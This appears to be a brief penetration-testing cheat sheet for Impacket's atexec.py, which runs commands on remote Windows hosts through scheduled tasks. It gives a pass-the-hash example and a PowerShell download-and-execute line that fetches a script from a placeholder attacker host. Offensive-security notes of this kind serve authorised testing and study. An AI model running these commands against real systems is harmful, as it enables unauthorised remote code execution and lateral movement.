Summery

atexec.py is an Impacket tool for remotely executing commands on Windows using the Task Scheduler service. It creates a scheduled task on the target, runs your command, retrieves the output, then removes the task.

It generally requires administrative privileges on the target because you’re remotely creating/running a scheduled task.

Commands

atexec.py DOMAIN/USER:PASSWORD@TARGET "whoami" - Basic syntax.
atexec.py -hashes :NTHASH DOMAIN/USER@TARGET "whoami" - Using an NTLM hash.
atexec.py DOMAIN/USER:PASSWORD@TARGET "powershell.exe -File C:\Temp\script.ps1" - Execute a local file or a payload.
atexec.py DOMAIN/USER:PASSWORD@TARGET "powershell.exe -c IEX((New-Object Net.WebClient).DownloadString('http://ATTACKER/script.ps1'))" - Execute a remote file or a payload.